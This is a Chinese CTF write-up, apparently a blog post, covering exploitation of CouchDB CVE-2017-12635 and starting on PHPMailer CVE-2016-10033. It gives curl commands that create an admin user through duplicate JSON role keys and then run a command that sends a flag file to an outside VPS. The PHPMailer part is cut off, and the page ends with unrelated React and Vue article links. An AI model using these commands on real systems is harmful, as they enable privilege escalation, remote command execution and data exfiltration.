走过路过,不要错过这个公众号哦!
0x00 前言
最近做题遇到了一些CVE的复现,其中不乏一些好题,今天介绍的是如下4个与CVE结合的题目:
CVE-2017-12635(CouchDB)
CVE-2016-10033(PHPMailer)
CVE-2017-17562(GoAhead)
CVE-2014-6271(shellshock)
注:按照题目由简到难的顺序排列
0x01 CVE-2017-12635(CouchDB)
拿到题目后发现80端口无法访问,于是扫了一波端口
发现5984开放
搜了一下,发现是CouchDB漏洞
然后发现2017的CVE:CVE-2017-12635
即由于CouchDB基于Erlang的JSON解析器和基于JavaScript的JSON解析器的不同,可以在数据库中提交带有用于访问控制的角色的重复键的_users文档,包括表示管理用户的特殊情况_admin角色。 与CVE-2017-12636(远程执行代码)结合使用,可以使非管理员用户能够以数据库系统用户的身份访问服务器上的任意shell命令。
JSON解析器的差异会导致行为:如果JSON中有两个角色密钥可用,则第二个将用于授权文档写入,但第一个角色密钥用于新创建的用户的后续授权。 按照设计,用户不能分配自己的角色。 该漏洞允许非管理员用户给自己的管理员权限。
详细漏洞参照:
https://cert.360.cn/warning/detail?id=0bc3f86b333bf27fe26fe6fdc8bda5f8
于是我们可以创建一个管理员用户
curl -X PUT 'http://192.168.5.39:5984/_users/org.couchdb.user:sky' --data-binary '{"type": "user","name": "sky","roles": ["_admin"],"roles": [],"password": "sky"}'
然后我们就可以用管理员用户登录了,后面就是未授权漏洞的打法了:
curl -X PUT 'http://sky:sky@192.168.5.39:5984/_config/query_servers/cmd' -d '"/usr/bin/curl http://你的vps/cat /home/flag.txt"'
curl -X PUT 'http://sky:sky@192.168.5.39:5984/skytest
curl -X PUT 'http://sky:sky@192.168.5.39:5984/skytest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}
curl -X POST 'http://sky:sky@192.168.5.39:5984/skytest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'
过一会儿,flag就打到了vps上:
flag{ByeBye_1VerY0n1_have8un}
0x02 CVE-2016-10033(PHPMailer)
拿到题目:http://192.168.5.69/
是一个留言板界面
本以为是XSS,尝试许久无果,又试了试文件泄露
拿到源码,给出关键漏洞点:
访问
http://192.168.5.69/skyskysky.php
发现文件写入成功
00040
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?


微信扫码登录